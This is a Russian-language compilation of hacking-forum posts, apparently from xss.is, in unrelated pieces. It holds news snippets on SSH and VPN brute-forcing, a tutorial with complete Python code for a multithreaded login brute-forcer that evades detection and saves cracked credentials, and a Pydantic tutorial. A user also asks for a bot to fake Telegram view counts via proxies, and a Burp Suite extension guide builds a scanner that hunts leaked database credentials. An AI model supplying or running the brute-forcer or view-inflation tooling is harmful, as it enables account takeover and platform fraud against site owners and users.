Недостаточно защищённые SSH-серверы Linux опять стали целью киберпреступников в новой кампании. Злоумышленники используют сканеры портов и подбор учётных данных по словарю с целью установить криптомайнер или запустить DDoS-атаки. Об атаках рассказала команда AhnLab Security Emergency Response Center (ASEC). В отчёте специалисты отмечают следующее: «Киберпреступники иногда ограничиваются установкой сканеров, после чего продают скомпрометированные IP-адреса и связанные учётные данные в дарквебе».
Источник: [https://www.anti-malware.ru](https://www.anti- malware.ru/news/2023-12-28-111332/42561)
Британский сервис-провайдер SOS Intelligence предупреждает о появлении нового инструмента брутфорса. На его основе создан сервис поиска VPN со слабой парольной защитой, и счет жертвам взлома уже идет на тысячи. Рост числа попыток входа, связанных с VPN, вынудил экспертов запустить расследование. В итоге подозрительную активность удалось связать с неким софтом, созданным брокером начального доступа, использующим ник Bassterlord. Инструмент, предоставляемый в пользование как услуга, позволяет отыскивать в интернете VPN-службы и проверять надежность их защиты перебором ходовых логинов и паролей по списку. Судя по объявлению на хакерском форуме, в нем реализована поддержка прокси и многопоточного режима.
Источник: [https://www.anti-malware.ru](https://www.anti- malware.ru/news/2023-05-26-114534/41261)
Инструменты Брутфорса
Существует множество инструментов для брутфорс атаки, таких как Hydra, Medusa или John the Ripper. Они предоставляют обширные возможности для атаки на различные службы и протоколы, но почему бы нам не создать свой собственный брутфорс? Давайте попрактикуем свои умения, расширим горизонты
_ Почему python?_
Python предоставляет простой синтаксис и богатые библиотеки, упрощая разработку и выполнение брутфорс атак. Благодаря активному сообществу, поддержке многозадачности и переносимости, Python становится эффективным выбором для написания подобных скриптов.
Итак, начнем.
Импорт библиотек:
Python:Copy to clipboard
import requests
import threading
import time
import random
import logging
import sys
Здесь подключаются необходимые библиотеки для работы с HTTP-запросами, многозадачностью, временем, случайными числами, логированием и системными операциями.
Настройка логирования:
Python:Copy to clipboard
logging.basicConfig(filename='app.log', level=logging.DEBUG)
Устанавливается конфигурация логирования, которая записывает события в файл 'app.log'.
Загрузка паролей:
Python:Copy to clipboard
def load_passwords(file_path):
with open(file_path, 'r') as f:
passwords = f.readlines()
passwords = [p.strip() for p in passwords]
return passwords
Создается функция для загрузки паролей из файла. Она возвращает список паролей.
Класс BruteForce:
Python:Copy to clipboard
class BruteForce:
def __init__(self, url, username, error_msg):
self.url = url
self.username = username
self.error_msg = error_msg
self.found = False
Создается класс BruteForce для представления объекта брутфорс атаки. У объекта есть URL, имя пользователя, сообщение об ошибке, и флаг found, указывающий, был ли найден верный пароль.
Проверка пароля:
Python:Copy to clipboard
def test_password(self, password):
try:
user_agent = random.choice(['Mozilla/5.0', 'Chrome/83.0.1'])
headers = {'User-Agent': user_agent}
data = {'username': self.username, 'password': password}
response = requests.post(self.url, headers=headers, data=data, timeout=5)
# ... (проверка статуса ответа и наличия сообщения об ошибке)
except Exception as e:
logging.error(f'Error: {e}')
pass
return False
В классе создается метод для тестирования одного пароля. Он отправляет HTTP- запрос с данными пользователя и пароля и проверяет ответ на статус и сообщение об ошибке.
Взлом паролей:
Python:Copy to clipboard
def crack_passwords(self, passwords):
for password in passwords:
delay = random.uniform(1, 3)
logging.debug(f'Trying password {password}, delaying {delay} secs')
time.sleep(delay)
if self.found:
with open('cracked_creds.txt', 'w') as f:
f.write(f"{self.username}:{password}")
break
self.test_password(password)
# ... (задержка перед каждой попыткой, вызов метода test_password)
Еще один метод класса, который перебирает все пароли из списка, вызывая метод для тестирования каждого.
Интерактивный ввод параметров атаки:
Python:Copy to clipboard
def prompt_bruteforce():
# ... (ввод URL, имени пользователя, сообщения об ошибке и пути к файлу с паролями)
def prompt_bruteforce():
print("Welcome to the brute force password cracker!")
url = input("Enter URL: ")
username = input("Enter username: ")
error_msg = input("Enter error message: ")
password_file = input("Enter password file path: ")
passwords = load_passwords(password_file)
bruteforcer = BruteForce(url, username, error_msg)
threads = []
for i in range(5):
t = threading.Thread(target=bruteforcer.crack_passwords, args=(passwords,))
threads.append(t)
t.start()
print("Cracking passwords...")
for t in threads:
t.join()
print("Done!")
Создается функция для ввода параметров атаки.
Создание потоков для взлома:
Python:Copy to clipboard
for i in range(5):
t = threading.Thread(target=bruteforcer.crack_passwords, args=(passwords,))
threads.append(t)
t.start()
Запускаются 5 потоков, каждый из которых выполняет метод взлома паролей.
Ожидание завершения всех потоков:
Python:Copy to clipboard
for t in threads:
t.join()
Ожидается завершение всех потоков перед выводом сообщения о завершении.
Запуск атаки:
Python:Copy to clipboard
if __name__ == '__main__':
while True:
start = input("Start brute force attack? (y/n): ")
if start.lower() == 'y':
prompt_bruteforce()
break
else:
print("Exiting...")
break
Запускается атака, если пользователь вводит 'y'. В противном случае программа завершается. При успехе, программа сохранит логин и пароль в файл cracked_creds.txt в виде login:pass
Если возникнут вопросы или нужна дополнительная помощь, не стесняйтесь
задавать. Редактируйте код, экспериментируйте и делитесь своими успехами ниже.
Помните, что знание — сила, и ваши навыки могут создать настоящий эффект.
Вот и все! Если у вас есть какие либо вопросы задавайте. В этой статье вы
написали свою первую брутфорс программу на python. Ниже вы найдете файл со
всем написанном выше кодом, смело редактируйте под свои нужды и делитесь ими
здесь. Надеюсь статья была полезной!
Привет! Сегодня я хочу поделиться с вами интересной темой, которая может значительно упростить вашу работу в веб-разработке.
Мы поговорим о библиотеке Pydantic — инструменте, который быстро завоевал популярность благодаря своей способности эффективно валидировать данные и обеспечивать строгую типизацию.
Pydantic — это библиотека Python, которая значительно упрощает процессы валидации данных и управления типами. Она позволяет создавать строгие и гибкие модели данных, обеспечивая соответствие данных указанным типам и автоматическую их конвертацию. Основные преимущества
Pydantic — простота использования и легкая интеграция с популярными фреймворками, такими как FastAPI и Django.
— Автоматическая валидация данных : Ошибки данных выявляются на раннем
этапе, что снижает риск возникновения багов.
— Типизация и конвертация данных : Pydantic автоматически конвертирует
данные в нужные типы (например, строки в числа или даты).
— Простота и чистота кода : Код становится более читаемым и поддерживаемым
за счет устранения необходимости ручной валидации.
Рассмотрим простой проект управления закладками (не теме которые вы могли подумать).
Без Pydantic:
Python:Copy to clipboard
from fastapi import FastAPI, HTTPException
app = FastAPI()
pins = {}
@app.post("/pins/")
def create_pin(pin_id: int, url: str, description: str):
if not isinstance(pin_id, int) or not isinstance(url, str) or not isinstance(description, str):
raise HTTPException(status_code = 400, detail = "Invalid input")
if pin_id in pins:
raise HTTPException(status_code = 400, detail = "Pin ID already exists")
pins[pin_id] = {"url": url, "description": description}
return pins[pin_id]
Проблемы без Pydantic:
— Необходимость ручной валидации данных.
— Сложность поддержки и избыточность кода.
— Повышенный риск ошибок при добавлении новых параметров.
С использованием Pydantic:
Python:Copy to clipboard
from fastapi import FastAPI
from pydantic import BaseModel, HttpUrl
app = FastAPI()
pins = {}
class Pin(BaseModel):
pin_id: int
url: HttpUrl
description: str
@app.post("/pins/")
def create_pin(pin: Pin):
if pin.pin_id in pins:
raise HTTPException(status_code = 400, detail = "Pin ID already exists")
pins[pin.pin_id] = pin.dict()
return pins[pin.pin_id]
Преимущества с Pydantic:
— Упрощение кода за счет автоматической валидации данных.
— Гарантированная типизация и конвертация данных.
— Более структурированный и поддерживаемый код.
Pydantic — мощный инструмент, который значительно улучшает качество и
устойчивость кода в веб-разработке.
Использование Pydantic рекомендуется для большинства проектов на Python ,
особенно тех, где важно минимизировать ошибки и упрощать поддержку кода.
Впервые пишу тему, пострался максимально просто описать всё, не знаю на сколько всё это вышло, если остались вопросы, то буду рад ответить в комментариях.
как такое оформить?
мне надо чтобы в канале был бот, которые следит, есть ли новая запись или нет.
если есть - то идет накрутка просмотров на эту запись.
чтобы было автоматизировано.
также если нудны будут прокси для этого, то откуда брать? желательно дешёвые и чтобы минимум на месяц хватили.
Автор petrinh1988
Источник https://xss.is
BurpSuite- отличный программный комплекс, который включает массу инструментов для хакинга. В том числе, есть достаточно большое количество расширений, которые сильно облегчают жизнь хакеру и пентестеру. Но как бы много не было доступных инструментов, всегда чего-то будет не хватать. Поэтому, предлагаю погрузиться в вопрос разработки собственных расширений для Burp.
В статье разберу основные моменты разработки и сделаю несколько демонстрационных расширений, которые можно будет сразу использовать или взять за основу для доработки. Статья не имеет цели повторить справку или закрыть все вопросы, скорее это путеводитель в мир разработки для Burp. При этом, постарался показать максимум вариантов взаимодействия.
Для разработки будет использоваться Python, вернее его реализация Jython. Нет, конечно можно все сделать по феншую, все же Burp написан на Java и подразумевается его кастомизация на Java, но мои навыки в java….короче не хочу, чтобы текла кровь из глаз настоящих java-программистов. Хотя у питонистов тоже будет кровь из глаз, особенно когда я буду вольно называть списки массивами и наоборот.
Важно обсудить один нюанс… у Burp есть два API: Extender API и Montoya API.
Причем, API Extender поддерживает Jython, но является устаревшим, т.е. его
поддержка когда-то будет прекращена. Это первое API, которое появилось вместе
с самим BurpSuite. Но никто не называет сроков, когда от него откажутся. Даже
на официальном форуме администрация не может дать четкого ответа по срокам.
Возможно никогда.
В свою очередь, Montoya API работает исключительно с jar. Для этого апи можно
писать на Jython, но это несколько проблематично.
Что касается самих API, четкого сравнения между ними компания-разработчик, не предоставляет. Cудя по тому, что пишут в интернет, старый апи несет в себе ряд недостатков. Например, отсутствует функционал для анализа веб-сокетов, хотя BurpSuite поддерживает это уже много лет. Или сложности с получением тела HTTP-запроса, так как приходится считать смещение для его получения.
Да, функционал Montoya шире, некоторые процессы с ним выполняются легче. Но, для огромного количества решений, вполне хватит и старой версии API. На нем продолжают создавать новые расширения. Поэтому, в рамках этой статьи буду писать на Jython. Кроме того, Python более доступен для освоения и большинство пентестеров на нем мало-мало пишут.
Если тема с расширениями для BurpSuite будет интересна жителям XSS.is, то в будущем придется сделать выбор… либо собирать готовый JAR из кода Jython, либо переходить на Java.
Если у вас установлено хотя бы одно расширение для Burp, скорее всего, Jython
уже подключен. Но вот инструкция, если этого не сделано:
Обсудим основы, чтобы не возникло путаницы при написании полноценных расширений. Вот как выглядит код расширения, которое просто загрузится и выведет надпись об этом в лог:
Python:Copy to clipboard
from burp import IBurpExtender
class BurpExtender(IBurpExtender):
def registerExtenderCallbacks(self, callbacks):
callbacks.setExtensionName("Simple Extension")
print( "Simple Extension extension loaded." )
return
Ничего сложного. Импортировали основной интерфейс, который реализовали создав соответствующий класс. Далее реализовали функцию registerExtenderCallbacks, которая запускается при загрузке расширения. В функции, установили название расширения и вывели текст в окошко BurpSuite.
Чтобы посмотреть, как оно работает, достаточно зайти в Extensions -> Installed, нажать Add, выбрать тип расширения Python и указать путь к файлу. Если не получается добавить расширение, проверьте указан ли путь к файлу jython.jar (см. выше, настройка jython)
![](/proxy.php?image=https%3A%2F%2Flh7-us.googleusercontent.com%2Fdocsz%2FAD_4nXclGUoC7lP8_pX6xqRUegK6CBzS3IRmbXn8-6K-Dt9SMLM4d9xvZmtD7wYtEd8jOtx947zGWdOWlPRlYO_ljucJ4wj5sIi5J4e_fRX- JAVuYXKdERlnxscNlHKTC9AeJfRfOmIBcVMBrYdYmLlYEYS7Emfx%3Fkey%3DpNTsKGgzweS655H7WpBHTA&hash=dddd71dcdab123b8323466ab4b87781d)
Выше реализован просто скелет, который никак не привязан к Burp и не может с ним взаимодействовать. Чтобы это исправить, нужно модифицировать функцию registerExtenderCallbacks(), добавив туда две строчки:
Python:Copy to clipboard
self._callbacks = callbacks
self._helpers = callbacks.getHelpers()
Таким образом мы получим доступ к интерфейсам IBurpExtenderCallbacks и IExtensionHelpers, тем самым получив возможность полноценно взаимодействовать с Burp, вызывая стандартные методы и функции.
Например, метод issueAlert из IBurpExtenderCallbacks, который позволяет вывести сообщение в стандартное окно вывода Burp. Или хелпер analyzeResponse, позволяющий получить данные ответа для дальнейшего анализа.
Есть смысл разобрать, как расширение может взаимодействовать с различными видами сканирования. Для этого потребуется интерфейс IScannerCheck и реализация его трех методов: doActiveScanь(), doPassiveScan() и consolidateDuplicateIssues().
doPassiveScan(IHttpRequestResponse baseRequestResponse)
Пассивное сканирование не предполагает, что мы делаем какие-то запросы,
которые не предусмотрены сайтом или имеют какой-то payload. Метод принимает
объект совмещающий в себе информацию, как про запрос к серверу, так и про
полученный ответ. Возвращает список найденных уязвимостей, которые будут
добавлены в общие результаты. Уязвимости должны быть объектами IScanIssue (об
этом ниже).
doActiveScan(IHttpRequestResponse baseRequestResponse,
IScannerInsertionPoint insertionPoint)
Активное сканирование предполагает дополнительные, модифицированные запросы с
нашими пэйлоадами, поэтому вместе с результатом выполненного запроса, методу
передается объект описывающий точку инъекции. На основе точки инъекции, мы
можем произвести модификацию, сформировав новый подобный запрос. Результатом
выполнения, как и при пассивном сканировании, будет список найденных
уязвимостей. .
consolidateDuplicateIssues(IScanIssue existingIssue, IScanIssue newIssue)
Эту функцию Burp вызывает, чтобы понять, не является ли новая уязвимость
дубликатом уже существующей. Наша задача выстроить работу расширения таким
образом, чтобы был способ однозначно идентифицировать дубли. Функция получает
два объекта уязвиомсти, которые нужно сравнить. На выходе, если уязвимости не
совпадают, то возвращается 0, иначе -1.
Что за дубли? Например, наше расширение, в HTTP-ответах сервера, обнаружило end-point’ы приватного API. Каждый отличающийся end-point, это отдельная потенциальная уязвимость, а не дубль. Напоминаю, что уязвимость представляется классом IScanIssue, у которого есть метод getIssueName() возвращающий имя. Значит мы можем каждой уязвимости назначить имя по шаблону “Private API end- point: /api/method/name”, где вместо “/api/method/name” будет конкретный ендпоинт. Тогда реализация функции проверки дублей может иметь вид:
Простой пример реализации, основанный на сравнении имен:
Python:Copy to clipboard
def consolidateDuplicateIssues(self, existingIssue, newIssue):
if existingIssue.getIssueName() == newIssue.getIssueName():
return -1
return 0
Иная история, когда уязвимость должна иметь более делатльное описание. Тогда название мы можем делать одинаковым, а для сравнения использовать детали уязвимости.
Самое время поговорить, как же надо реализовать интерфейс IScanIssue, благодаря которому мы можем добавить в BurpSuite найденные уязвимости. Что активное, что пассивное сканирование, должно вернуть список уязвимостей, поэтому обойтись без этого интерфейса никак не получится.
IScanIssue это интерфейс, реализация которого представляет собой класс, структурированно хранящий нужную информацию. На скриншоте ниже весь список методов, которые должны быть в классе. По ним, соответственно, можно понять какие значения и какого типа нужно хранить.
![](/proxy.php?image=https%3A%2F%2Flh7-us.googleusercontent.com%2Fdocsz%2FAD_4nXcChH0IcKhovSOqcsC2Inf- zDKrosxj9pxtOD-VrugoOM_wSQD5VZt- k-k3yMZWknOjlw0Etzuh3L6OKUFMjiqDW4SizH9eVLPs9Cpq2wOBSWxUF2fHnAGgDZ- tLZpJ9ne7yVFY_03kSSs7hSkKpogcCzw%3Fkey%3DpNTsKGgzweS655H7WpBHTA&hash=ae4d202d079ce67b6a4ec174f3d578c3)
IHttpRequestResponse[] и IHttpService коснусь ниже, при реализации расширений. Данные значения получаются из специального объекта и определенным образом подготавливаются. Остальные значения можно передавать в конструкторе класса или хардкодить в ответах. Например, если вы знаете, что риск найденной уязвимости на 100% всегда будет высоким, метод getSeverity() можно реализовать так:
Python:Copy to clipboard
def getSeverity(self):
return “Hight”
Пример того, как может выглядеть полноценный скелет расширения, которое реализует сканирование:
Python:Copy to clipboard
from burp import IBurpExtender
from burp import IScannerCheck
from burp import IScanIssue
class BurpExtender(IBurpExtender, IScannerCheck):
def registerExtenderCallbacks(self, callbacks):
self._callbacks = callbacks
self._helpers = callbacks.getHelpers()
callbacks.setExtensionName("Simple Extension")
return
def doActiveScan(self, baseRequestResponse, insertionPoint):
pass
def doPassiveScan(self, baseRequestResponse):
pass
def consolidateDuplicateIssues(self, existingIssue, newIssue):
pass
class CustomScanIssue(IScanIssue):
def __init__(self, httpService, url, httpMessages):
self._httpService = httpService
self._url = url
self._httpMessages = httpMessages
def getConfidence(self):
# "Certain", "Firm" or "Tentative"
return "Certain"
def getHttpMessages(self):
return self._httpMessages
def getHttpService(self):
return self._httpService
def getIssueBackground(self):
pass
def getIssueDetail(self):
return "The response contains a custom vulnerability"
def getIssueName(self):
return "Custom vulnerability detected"
def getIssueType(self):
return 0
def getRemediationBackground(self):
pass
def getRemediationDetail(self):
pass
def getSeverity(self):
# "High", "Medium", "Low", "Information" or "False positive"
return "High"
def getUrl(self):
return self._url
Не стоит переживать, что какие-то моменты сейчас могут быть непонятны. Чтобы это исправить, приведу примеры нескольких расширений.
Важно!!! Иногда буду использовать комментарии в коде, чтобы не захламлять статью, но при этом сохранять максимально понятный код. Комментарии привожу только здесь, в тексте статьи. Никогда не используйте русские символы, даже в комментариях. У Burp крыша едет и расширение не работает.
Click to expand...
Время объединить полученные знания, добавив некоторые команды и собрать живой проект. Для этого оптимально подойдет пассивный сканер, который будет искать чувствительную информацию в HTML-ответах. Например, случайно просочившиеся данные для подключения к базам. Подобное случается из-за ошибок разработчиков.
Принцип работы расширения: BurpSuite, при сканировании, делает запросы к таргету. Ответы проходят через все зарегистрированные сканеры, в том числе и наш пассивный сканер. Сканер регуляркой ищет данные. Если данные найдены, добавляет уязвимость.
Начну с импортов. Здесь ничего нового, что касалось бы Burp:
Python:Copy to clipboard
from burp import IBurpExtender
from burp import IScannerCheck
from burp import IScanIssue
import re
Интерфейс расширения, интерфейс чекера и интерфейс уязвимости. Все это уже было выше в скелете. Разве что “re” не было, но он потребуется для работы с регулярными выражениями.
Создам класс и добавлю в него нужные функции, как болванки:
Python:Copy to clipboard
class BurpExtender(IBurpExtender, IScannerCheck):
def registerExtenderCallbacks(self, callbacks):
pass
def consolidateDuplicateIssues(self, existingIssue, newIssue):
pass
def doPassiveScan(self, baseRequestResponse):
pass
Здесь, в дополнение к примеру, будет добавлен вызов registerScannerCheck(). Как понятно из названия, метод регистрирует наше расширение среди доступных Burp сканеров. В остальном, функция идентична примеру:
Python:Copy to clipboard
def registerExtenderCallbacks(self, callbacks):
self._callbacks = callbacks
self._helpers = callbacks.getHelpers()
self._callbacks.setExtensionName("DBCredsChecker")
self._callbacks.registerScannerCheck(self)
print("DBCredsChecker loaded")
print("Enjoy your use")
return
Как писал выше, функция помогает Burp понять, является ли уязвимость дубликатом, сравнивая уязвимость с уже добавленной. В данном случае, оптимально будет сравнивать не название уязвимости, а описание. Дело в том, что учетные данные могут быть достаточно большими и пихать их в название уязвимости не очень удобно. Гораздо правильнее, в названии уязвимости указывать тип найденных данных, а сами данные отправить в описание.
Вот как будет выглядеть уязвимость в данном случае:
Name: Found db_password
Details: Maybe found db_password value: p@ssw0rD
За получение описания уязвимости отвечает метод getIssueDetail, который должен быть реализован в классе уязвимости реализующим интерфейс IScanIssue. Соответственно, итоговая функция consolidateDuplicateIssues будет выглядеть следующим образом:
Python:Copy to clipboard
def consolidateDuplicateIssues(self, existingIssue, newIssue):
if (existingIssue.getIssueDetail() == newIssue.getIssueDetail()):
return -1
return 0
Раз уж коснулся самих уязвимостей, отойду немного от реализации самого сканера и создам класс самой уязвимости. Назову его DBCredsIssue. На всякий случай, уточняю - класс объявляю вне основного класса BurpExtender. Просто в самом конце файла.
Python:Copy to clipboard
class DBCredsIssue(IScanIssue):
def __init__(self, httpService, url, httpMessage, name, description):
self._url = url
self._httpService = httpService
self._httpMessage = httpMessage
self._name = name
self._description = description
def getUrl(self):
return self._url
def getHttpMessages(self):
return self._httpMessage
def getHttpService(self):
return self._httpService
def getRemediationDetail(self):
pass
def getIssueDetail(self):
return self._description
def getIssueBackground(self):
pass
def getRemediationBackground(self):
pass
def getIssueType(self):
return 0
def getIssueName(self):
return self._name
def getSeverity(self):
return "Information"
def getConfidence(self):
return "Certain"
Отличия от примера минимальные. В конструкторе передается большее количество параметров, которые класс хранит в себе, и возвращает не в виде хардкода. При необходимости, можно было бы добавить severety, как варьирующийся параметр, вместо жесткого прописанного “Information”. Например, если бы мы разделили найденные данные по разным уровням критичности — только логин “Low”, а логин и пароль “High”.
Если прочитать код класса вместе с функцией consolidateDuplicateIssues, становится понятно, что сначала мы в класс через конструктор закинем что-то вроде “Maybe found db_pass value p@ssw0rD”. После, когда наш сканер будет создавать очередную уязвимость и поместит в нее, например, “Maybe found db_login value shop_admin”, BurpSuite вызовет функцию сравнения, увидит что строки разные и добавит обе уязвимости в отчет.
Собственно, основная функция нашего расширения, а по совместительству класса BurpExtender. В ней мы должны получить response, и произвести поиск по данным.
В первую очередь, потребуется словарь ключевых слов, которые нас интересуют. Чтобы не захламлять статью, привожу укороченный вариант словаря. Более длинный смотрите в итоговом файле. Конечно же, его можно расширять, главное не потерять голову иначе проверка может стать излишне тяжелой.
Python:Copy to clipboard
def doPassiveScan(self, baseRequestResponse):
keywords = [
"db_auth",
"db_string",
"db_conn",
"db_connect",
"db_connection",
"db_database",
"db_dialect",
"db_host",
...
issues = []
...
Объявил также пустой список для уязвимостей. Если помнишь, функция doPassiveScan() должна возвращать список уязвимостей.
Следующим шагом будет получение самого респонса, который прилетает в функцию из BurpSuite. Для этого вызову функцию getResponse() объекта baseRequestResponse, который получаю как параметр функции doPassiveScan().
Python:Copy to clipboard
responseByte = baseRequestResponse.getResponse()
Функция getResponse() возвращает массив байт, поэтому потребуется преобразовать его в строку. Для этого отлично подойдет функция bytesToString(), которую предоставляют хелперы Burp.
Python:Copy to clipboard
response = self._helpers.bytesToString(responseByte)
Сохраню url по которому Burp выполнял запрос. Для этого, обращусь к хелперу и вызову функцию analyzeRequest(). Она возвращает IRequestInfo, среди методов которого есть getUrl(). Советую посмотреть справку, там есть и другие методы, которые возвращают все необходимое относящееся к запросу (заголовки, параметры и т.п.)
Python:Copy to clipboard
url = self._helpers.analyzeRequest(baseRequestResponse).getUrl()
Логичным продолжением будет обойти все наши кейворды. На основе каждого ключевого слова создаем поиск по тексту ответа. Если есть совпадения, добавляем их как объекты DBCredsIssue (наш класс уязвимостей) в список уязвимостей. В конце просто возвращаем список готовых уязвимостей.
Но сначала стоит подумать над регулярным выражением. Как могут быть записаны нужные данные? На самом деле, вариаций великое множество. Это может быть, например: db_pass: p@ssw0rD. Без кавычек, разделенные двоеточием и пробелом. Данные могут быть взяты в кавычки, как отдельно, так и целиком. Могут быть разделены символом равно, прямой чертой или, чем черт не шутит, @. Исходя из этого, решил составить регулярку из следующих частей:
]? Добавил все варианты кавычек…хотя может быть так, что для
потребуется \Вот такой цикл получился:
Python:Copy to clipboard
...
for key in keywords:
regex = "(?i)(?<=" +key + ")['\"`]?\s?(=|:|\||\@\/\\\s)?\s?['\"`]?([^\s\"'&]+)"
#Запоминаем название уязвимости на основе ключа
issue_name = f"DBCreds{key}"
#Ищем все совпадения в тексте ответа
reg = re.compile(regex, re.DOTALL)
results = reg.findall(response)
#Обходим все совпадения и добавляем их в итоговый список уязвимостей
for issue_res in results:
#Добавление уязвимости в список
...
...
Здесь нужно сделать остановку. На моменте добаления уязвимостей, есть несколько вариантов, как можно поступить. Мы можем просто вывести найденные данные. Для этого достаточно будет создать новый объект DBCredsIssue, передать в него данные по уязвимости и добавить в итоговый список.
Python:Copy to clipboard
...
issue_desc = " Maybe found " + key + " value: " + issue_res[1]
new_issue = DBCredsIssue(baseRequestResponse.getHttpService(),
url,
None,
issue_name,
issue_desc)
issues.append(new_issue)
if len(issues):
return issues
return None
Тест расширения:
![](/proxy.php?image=https%3A%2F%2Flh7-us.googleusercontent.com%2Fdocsz%2FAD_4nXf0fp1Am_SMqTGBomGTE3K_2UnUDnMMZgRe78ROLkSk_3XXGIVO2vi8NVmXR8cIyfzXw3kMdzGInLJW1sQgzCPPx0e88l5MzErG8nYuatqg-
bB91hUSdEub1qZhgnCEXZAPBC5M0aS13cC7OfDODCSqt4Ky%3Fkey%3DpNTsKGgzweS655H7WpBHTA&hash=f4e31f316bac5778dadfdd8eab4072a7)
![](/proxy.php?image=https%3A%2F%2Flh7-us.googleusercontent.com%2Fdocsz%2FAD_4nXdWN-
ZKzk-m3q4wNtXqFx7eqhtul_u_j1dLoDsXk1bm1vR80yrXCEV36pI2HIt9-y67d3oQ9lqDvcVyjl-4yyB4kpSpHvJxLqcq3kDGlDQnfGF9QKAxHK3Fo-
pnwK_lh3t69wDw0J0Tq_c3Vi5BThgYgGo%3Fkey%3DpNTsKGgzweS655H7WpBHTA&hash=23032115c902d129a18d89c49ccebe23)
Как видно, все прекрасно работает. Но, хочется же сделать качественное решение, чтобы было по-феншую. Как видно на скриншоте, с тестового сервера я получил значение testadministrator–>. В данном случае, –> это закрывающая комментарий скобка. Если не видеть оригинал строки, можно подобные артефакты принять за часть искомой строки и потом рвать волосы на голове, почему не подходят кредсы…
Для этого, потребуется добавить немного кода. А именно, прибегнуть к функции маркировки applyMarkers() из доступных коллбэков. Она принимает IHttpRequestResponse, а также позиции маркировки для запроса и ответа.
Java:Copy to clipboard
IHttpRequestResponseWithMarkers applyMarkers(IHttpRequestResponse httpRequestResponse, java.util.List<int[]> requestMarkers, java.util.List<int[]> responseMarkers)
Позиции маркеров это список целочисленных массивов. Каждый массив должен содержать в себе два элемента: начало и конец выделения. Значит нужно зафиксировать каждое отдельное совпадение. Кроме того, потребуется импортировать пакет array, поэтому добавляю в импорты строчку:
Python:Copy to clipboard
from array import array
Прямо перед циклом, который обходит найденные уязвимости, добавлю объявление списка, а первой строкой в цикле объявлю целочисленный массив :
Python:Copy to clipboard
...
mark_pos = []
for issue_res in results:
offsets = array('i', [0, 0])
...
mark_pos будет накапливать в себе все координаты для выделения, а offsets будет использоваться для фиксации каждого отдельного начала и конца строки:
Python:Copy to clipboard
offsets[0] = mark_start
offsets[1] = mark_start + len(issue_res[1])
mark_pos.append(offsets)
Но перед тем, как сохранять координаты, их нужно определить. Для определения позиции, буду использовать indexOf из предлагаемых коллбэков. Ну и, для корректной работы, добавлю определение длины ответа.
Python:Copy to clipboard
response_len = len(responseByte)
mark_start = self._helpers.indexOf(responseByte, issue_res[1], True, 0, response_len)
Обрати внимание, что использую не строковое представление респонса, а байтовое. Как indexOf из коллюэков, так и функция маркировки, работают именно с байтами. Такой вот нюансик. Если когда-то будешь биться в конвульсиях от того, что все правильно, а выделяется совсем не то, вспомни про этот нюанс.
По поводу параметров функции indexOf, думаю достаточно будет привести ее объявление:
Java:Copy to clipboard
indexOf(byte[] data, byte[] pattern, boolean caseSensitive, int from, int to)
На всякий случай поясню, почему беру не нулевое значение списка совпадений issue_res[1]. Дело в том, что в регулярном выражении есть несколько групп поиска (если не в курсе, то что в круглых скобках выделяется в отдельные группы), которые помещаются в отдельные элементы списка. Поэтому в нулевой группе будет исключительно разделитель (например, “=”), а в первой искомое значение. Как вариант, использовать последнее значение issue_res[-1], тогда туда попадет, и нулевое и первое значение.
Итак, все готово, остается только поменять создание нового объекта уязвимости, заменив None на массив маркированных ответов:
Python:Copy to clipboard
new_issue = DBCredsIssue(baseRequestResponse.getHttpService(),
url,
[self._callbacks.applyMarkers(baseRequestResponse, None, mark_pos)],
issue_name,
issue_desc)
Да, чтобы все правильно промаркировалось, нужно передать именно список Interface IHttpRequestResponseWithMarkers, поэтому вызов функции обернул в квадратные скобки [].
Время пробовать…
Уря, товарищи. Согласитесь стало гораздо удобнее и круче? На всякий случай, напоминаю, что функцией applyMarkers() можно разукрасить, как респонсы, так и реквесты. Делайте свои расширения максимально удобными и подробными!
Окей, с тем как работает расширение все боль-мень понятно. Но как отлаживать?
Стандартно можно пользоваться возможностями вывода stdout и stderr на вкладке расширений. Просто переходим в расширения, выбираем свое и смотрим вниз на вкладки Output и Error.
![](/proxy.php?image=https%3A%2F%2Flh7-us.googleusercontent.com%2Fdocsz%2FAD_4nXdIt_fALXgQqdDu5ESx35ANvlrXWbQnOl5sQz1CrpY9U34ic-
zLFSIo2vtEkV6QRKT8P-f0owzxWgyCKnsk4WsCSjZik7TZ4wB-
sJ0ZoG4L0zH8qFiNw_16y4Ae1hNxpp07gA5tOsgMXqbPQry4Seh7DPQ%3Fkey%3DpNTsKGgzweS655H7WpBHTA&hash=bbf4919049cd1f4f4c00e00bfcafd572)
Соответственно, в ошибки выплевывается все, что вызвало ошибку и, в
большинстве случаев, мы можем увидеть какая именно строка не понравилась.
Закладка Output показывает нам результат работы всех принтов в коде.
![](/proxy.php?image=https%3A%2F%2Flh7-us.googleusercontent.com%2Fdocsz%2FAD_4nXeGSFqA2zBYkndng7uzggKaZhC5eIxK4KRR93UG2SvQbHdNipZg2igLFG72P0KE4w2TS99Qidnz9-qC- KjByUUcNXNwJYtWFXJNAmfN0vr4npbiLPq9ujd- F_A_w6hl8-nCegiyS3xeVits3JQGOiZgg82A%3Fkey%3DpNTsKGgzweS655H7WpBHTA&hash=a0aed34ef9ae6e2b212103693189b95b)
Важно понимать, что данный вывод относиться именно к расширению, а не к проекту.
Если нужен PDB, ничего не мешает нам подключить его. Достаточно импортнуть соответствующий пакет и в нужном месте вставить pdb.set_trace(). Плюс перенаправить вывод на системную консоль. Для этого, при добавлении расширения или в свойствах уже добавленного, нужно выбрать “Output to system console”. Как для Stdout, так и для Srderr.
![](/proxy.php?image=https%3A%2F%2Flh7-us.googleusercontent.com%2Fdocsz%2FAD_4nXdEmVj6CAVbH-z12NXM9hchX9Qv6FZVS_etVk8BHw- Tr4s6mX8I6QpyOXwpTCcHJke1ILsU9qiVyXlLI1UTHsU2GY2SMf8OiO16QONswYaMTeBBqPq1UyocEMFbo0vTu8a2ccgdRxAOIJ5xOTOIOLGbgrgQ%3Fkey%3DpNTsKGgzweS655H7WpBHTA&hash=9beae2a9057d7fa1b956cab2de7a6bf1)
Плюс добавить перенаправление вывода в коде:
Python:Copy to clipboard
from burp import IBurpExtender
import pdb
import sys
class BurpExtender(IBurpExtender, IScannerCheck):
def registerExtenderCallbacks(self, callbacks):
sys.stdout = callbacks.getStdout()
sys.stderr = callbacks.getStderr()
pdb.set_trace()
self._callbacks = callbacks
self._helpers = callbacks.getHelpers()
callbacks.setExtensionName("SimpleExtension")
return
